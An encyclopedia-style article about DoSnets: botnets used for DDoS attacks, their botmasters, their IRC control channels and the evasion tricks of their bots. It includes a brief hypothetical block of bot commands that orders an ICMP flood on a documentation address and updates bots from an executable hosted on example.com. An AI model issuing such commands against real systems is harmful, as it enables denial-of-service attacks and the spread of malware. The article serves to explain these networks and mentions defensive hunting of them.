DoSnet

A DoSnet (Denial of Service network) is a type of botnet/malware and mostly used as a term for malicious botnets while benevolent botnets often simply are referred to as botnets. Dosnets are used for Distributed Denial of Service (DDoS) attacks which can be very devastating.

They range in size from a couple of bots to a couple of thousand bots up to over a hundred thousand bots.

Many dosbots use the IRC protocol, but some use their own custom protocols. Some may use a decentralized P2P network. When IRC is used, the botmaster often has usermode +i (invisible) and the channel often has mode +psntk (private, secret, and need password to join). Sometimes the network is hosted on a public IRC network, while more capable botmasters host the network on private servers.

More advanced dosnets use technologies such as SSL connections and cryptography to prevent packet sniffing, data inspection, and analysis.

The botmaster can use the bots to "packet" (send a disruptive data flood) to other computers or networks. He/she can often also make them perform various other tasks, such as remotely fetching a new version of the bot software and updating themselves.

Well-known dosnet software includes TFN2k, Stacheldraht, and Trinoo.

There are dosnet hunters who find dosnets and analyze the bots and/or the network in order to dismantle them. For example by discovering access to bots and commanding them to "uninstall" themselves if such a feature is present in the bot software, or to "update" themselves to a dud, or to download and execute some sort of cleaner. Advanced bots may use cryptographically signed updates to make sure the update is authentic.

Botmaster

The botmaster is the person who controls these bots/drones. He/she usually connects to the network via proxies, bouncers or shells to hide his IP address for anonymity and uses a password to authenticate himself. When the bots have verified the password (and possible other criteria for authentication) they are under botmaster's command. Sometimes the botnet is shared, and multiple botmasters operate it together.

A botmaster may be a skilled black hat hacker or just a mere script kiddie.

Sometimes botmasters hijack bots from the dosnet of another botmaster by analyzing the bot or network, discovering the password, and commanding the bots to "update" themselves to his ownership.

Hypothetical example usage 

.login my54kingdom78
.icmpflood 192.0.2.123 3500
.login my54kingdom78
.update https://www.example.com/uploads/dosnet.exe

Dosbot

The dosbot (Denial of Service bot, also called Distributed Denial of Service agent) is the client which is used to connect to the network and is also the software which performs any attacks. The executable is usually stripped of symbols and compressed with tools (such as UPX) to obfuscate the contents and to prevent reverse engineering. It's usually coded to automatically startup every time the computer (re)starts, and is also programmed to hide itself. Authentication is usually done by comparing the supplied password against a plaintext string or a cryptographic hash (such as MD5 or SHA-1), which may be salted for additional security.

Sometimes dosbots are installed together with a rootkit which is to prevent the bot from detection.

They can often perform more than only one kind of attack. Attacks include TCP, UDP, ICMP attacks. Advanced bots may use raw sockets and construct custom packets to perform SYN floods and other spoofing attacks.

Computers infected with dosbot agents are referred to as "zombies".

The vast majority of the bots are written in the C or C++ programming languages.

Many new bots are now infecting people via Java applets, so when a person with Java enabled visits a web page, the bot will execute Java code, and can then issue commands to connect to the DoSnet.

Commands for the bot may use a prefix such as an exclamation mark, at sign (@), or dot.

It may try to terminate the process of known antivirus and antimalware software in order to protect itself. It may disable security and update services.

It may copy itself into a randomly named file, or disguise itself with a name similar to a system service/process.

It may attempt to remove rival malware in order to prevent the system from behaving suspiciously.

It may try to disable the firewall or add rules to open certain ports or allow certain connections.

It may include anti-debugging functionality.

See also